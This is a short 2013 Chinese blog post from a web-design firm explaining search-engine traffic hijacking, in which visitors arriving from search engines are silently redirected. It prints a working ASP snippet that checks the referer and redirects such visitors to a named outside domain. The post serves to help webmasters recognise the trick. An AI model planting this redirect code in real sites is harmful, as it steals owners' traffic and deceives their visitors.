添加時(shí)間:2013/2/21 9:54:29 編輯:奇億網(wǎng)站建設(shè)公司
可能您會(huì)遇到這樣的情況,在搜索引擎如百度,谷歌等進(jìn)入你的網(wǎng)站后會(huì)被跳轉(zhuǎn)到別的網(wǎng)站,但直接在瀏覽器地址中輸入你的網(wǎng)站地址進(jìn)入?yún)s又是正常的,這是怎么回事呢?下面先看一段ASP代碼:
Dim REFERER
yuming=Request.ServerVariables("SERVER_NAME")
REFERER = Cstr(Request.ServerVariables("HTTP_REFERER"))
If InStr(REFERER,"baidu") > 0 Or InStr(REFERER,"google") > 0 Or InStr(REFERER,"soso.com") > 0 Or InStr(REFERER,"so.com") > 0 Or InStr(REFERER,"sogou.com") > 0 Or InStr(REFERER,"yahoo") > 0 Or InStr(REFERER,"bing") > 0 Or InStr(REFERER,"youdao") > 0 Then
Response.Redirect("http://www.zxq0411.com/?"&yuming&"")
Response.End()
End IF
上面這段代碼就是判斷流量是哪來的,如果是BAIDU,GOOGLE,SOSO,SO,SOGOU,YAHOO,BING,YOUDAO等搜索引擎來的話就進(jìn)行跳轉(zhuǎn)至http://www.zxq0411.com,其他來的流量則不會(huì)跳轉(zhuǎn)。這就是站長經(jīng)常聽到的流量劫持!
上面代碼僅供交流,請(qǐng)勿用于非法用途,否則后果自負(fù)。